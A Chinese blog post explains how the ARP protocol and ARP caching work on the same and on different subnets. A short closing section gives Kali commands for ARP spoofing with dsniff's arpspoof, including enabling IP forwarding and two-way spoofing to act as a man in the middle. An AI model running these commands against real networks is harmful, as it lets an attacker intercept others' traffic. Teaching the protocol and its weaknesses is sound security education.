ARP协议与ARP欺骗

ARP协议

ARP(Address Resolution Protocol)即地址解析协议, 用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址。在网络通信中,主机和主机通信的数据包需要依据OSI模型从上到下进行数据封装,当数据封装完整后,再向外发出。所以在局域网的通信中,不仅需要源目IP地址的封装,也需要源目MAC的封装。一般情况下,上层应用程序更多关心IP地址而不关心MAC地址,所以需要通过ARP协议来获知目的主机的MAC地址,完成数据封装。

下面以图解的方式来深入了解ARP协议是如何工作的

在介绍arp工作原理时先介绍一下arp缓存:

   当主机发送一个ARP请求时,先查看ARP高速缓存表,如果存在对应条目,则直接返回MAC地址,否则向局域网发送ARP请求广播。(windows主机可通过arp -a查看)

arp缓存存在优缺点:

优点:从ARP高速缓存的使用中可以看到,ARP高速缓存可以减小广播量,进而减小网络通信量,提高计算机之间的通信效率。

缺点:造成安全隐患(arp 攻击 / arp 欺骗)

1.局域网内的arp工作原理

如图:pc1,pc2,pc3处于同一局域网且通过交换机相连,ip地址,mac地址如图所示,当pc1与pc2进行通信时会检查本地的arp缓存表,若表中没有记录,则会向整个局域网发送arp广播请求,此时pc1与交换机连接的接口会记录pc1的mac地址存储在MAC地址表中,pc2,pc3均会收到广播请求,正常情况下只有pc2做出响应,将自己的mac地址信息发送给pc1(单播),此时pc2与交换机连接的接口会记录pc2的mac地址信息存储在MAC地址表中。下次pc1与pc2通信就可以通过交换机的MAC地址表进行通信,不用在发送广播请求。

2.非相同局域网的ARP工作原理

相关ip与路由接口信息如图所示,当pc1与pc2通信时,应用数据到传输层添加相应的tcp部,到网络层添加ip头部(包含了源IP:pc1的ip 192.168.10.1 目的ip:pc2的ip 192.168.30.1),发送arp广播数据包,因为pc1与pc2不在同一局域网,pc2不会进行响应,因此arp广播请求会询问网关的mac地址,相应信息封装在mac头部中(源mac:pc1的mac 目的mac:pc1网关路由接口的mac),到达路由器1后,通过ARP协议发送广播请求寻找下一跳的mac地址(mac 头部信息 源mac:路由接口192.168.20.1的mac地址  目的mac:路由接口192.168.20.2的mac地址 )重新封装数据发送到路由器2,继续通过arp协议,发送广播请求,寻找pc2的mac地址信息,(mac头部信息 源mac:路由接口pc2网关 192.168.30.254的mac地址  目的mac:pc2的mac地址)重新封装头部信息发送的pc2。

ARP攻击与欺骗(简单介绍)

1.ARP攻击

借助kali进行arp欺骗  需要安装工具 dsniff 

执行命令 :arpspoof -t 目标ip  网关ip地址 

2.ARP欺骗(单向)

kali 开启流量转发:echo 1 >> /proc/sys/net/ipv4/ip_forward

执行命令:arpspoof -t 目标ip  网关ip地址

3.ARP欺骗(双向)

kali开启流量转发,需要开启两个命令窗口,做目标主机和网关的双向欺骗,kali充当中间人

窗口一:欺骗目标主机   arpspoof -t 目标ip  网关ip地址

窗口二:欺骗网关     arpspoof -t 网关ip地址  目标ip

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值